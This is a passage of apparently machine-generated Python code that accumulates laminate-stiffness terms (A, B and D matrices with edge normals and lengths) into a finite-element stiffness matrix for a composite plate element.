f41*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i1*dof+3, i1*dof+3] += Ac*((D11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i1*dof+3, i1*dof+4] += Ac*((D12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i1*dof+3, i2*dof+0] += Ac*((B11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i1*dof+3, i2*dof+1] += Ac*((B12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i1*dof+3, i2*dof+3] += Ac*((D11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i1*dof+3, i2*dof+4] += Ac*((D12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i1*dof+3, i3*dof+0] += Ac*((B11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i1*dof+3, i3*dof+1] += Ac*((B12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i1*dof+3, i3*dof+3] += Ac*((D11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i1*dof+3, i3*dof+4] += Ac*((D12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i1*dof+3, i4*dof+0] += Ac*((B11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i1*dof+3, i4*dof+1] += Ac*((B12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i1*dof+3, i4*dof+3] += Ac*((D11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i1*dof+3, i4*dof+4] += Ac*((D12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + D66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i1*dof+4, i1*dof+0] += Ac*((B12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i1*dof+4, i1*dof+1] += Ac*((B22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i1*dof+4, i1*dof+3] += Ac*((D12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i1*dof+4, i1*dof+4] += Ac*((D22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i1*dof+4, i2*dof+0] += Ac*((B12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i1*dof+4, i2*dof+1] += Ac*((B22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i1*dof+4, i2*dof+3] += Ac*((D12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i1*dof+4, i2*dof+4] += Ac*((D22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i1*dof+4, i3*dof+0] += Ac*((B12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i1*dof+4, i3*dof+1] += Ac*((B22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i1*dof+4, i3*dof+3] += Ac*((D12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i1*dof+4, i3*dof+4] += Ac*((D22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i1*dof+4, i4*dof+0] += Ac*((B12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i1*dof+4, i4*dof+1] += Ac*((B22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i1*dof+4, i4*dof+3] += Ac*((D12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i1*dof+4, i4*dof+4] += Ac*((D22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (D26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + D66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i2*dof+0, i1*dof+0] += Ac*((A11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i2*dof+0, i1*dof+1] += Ac*((A12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i2*dof+0, i1*dof+3] += Ac*((B11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i2*dof+0, i1*dof+4] += Ac*((B12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i2*dof+0, i2*dof+0] += Ac*((A11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i2*dof+0, i2*dof+1] += Ac*((A12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i2*dof+0, i2*dof+3] += Ac*((B11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i2*dof+0, i2*dof+4] += Ac*((B12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i2*dof+0, i3*dof+0] += Ac*((A11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i2*dof+0, i3*dof+1] += Ac*((A12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i2*dof+0, i3*dof+3] += Ac*((B11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i2*dof+0, i3*dof+4] += Ac*((B12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i2*dof+0, i4*dof+0] += Ac*((A11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i2*dof+0, i4*dof+1] += Ac*((A12*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A26*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (A16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + A66*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i2*dof+0, i4*dof+3] += Ac*((B11*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + B16*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B16*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + 